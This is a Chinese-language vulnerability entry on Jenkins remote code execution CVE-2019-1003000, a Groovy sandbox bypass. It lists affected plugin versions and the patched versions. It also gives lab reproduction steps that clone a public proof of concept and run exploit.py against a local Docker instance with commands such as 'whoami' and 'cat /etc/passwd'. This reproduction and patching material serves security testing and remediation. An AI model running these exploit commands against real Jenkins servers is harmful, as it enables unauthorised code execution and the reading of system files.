2.18.1 CVE-2019-1003000

漏洞名称

Jenkins 远程代码执行漏洞(CVE-2019-1003000)

漏洞等级

高危

漏洞描述

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

漏洞影响

  • Declarative Plugin < 1.3.4.1

  • Groovy Plugin < 2.61.1

  • Script Security Plugin < 1.5.0

漏洞复现

复现漏洞CVE-2019-1003000 (Script Security)

测试环境需要安装docker

git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

cd cve-2019-1003000-jenkins-rce-poc

pip install -r requirements.txt

cd sample-vuln

./run.sh

浏览器访问:127.0.0.1:8080:

Username:user1;password:user1登录

Poc进行攻击: 回到cve-2019-1003000-jenkins-rce-poc目录:$ cd ../

$ sudo chmod 744 exploit.py

$ sudo python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"

sudo python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

漏洞修复

Declarative Plugin 更新至 1.3.4.1版本

https://plugins.jenkins.io/pipeline-model-definition

Groovy Plugin 更新至2.61.1版本

https://plugins.jenkins.io/workflow-cps

Script Security Plugin 更新至1.50版本

https://plugins.jenkins.io/script-security

Last updated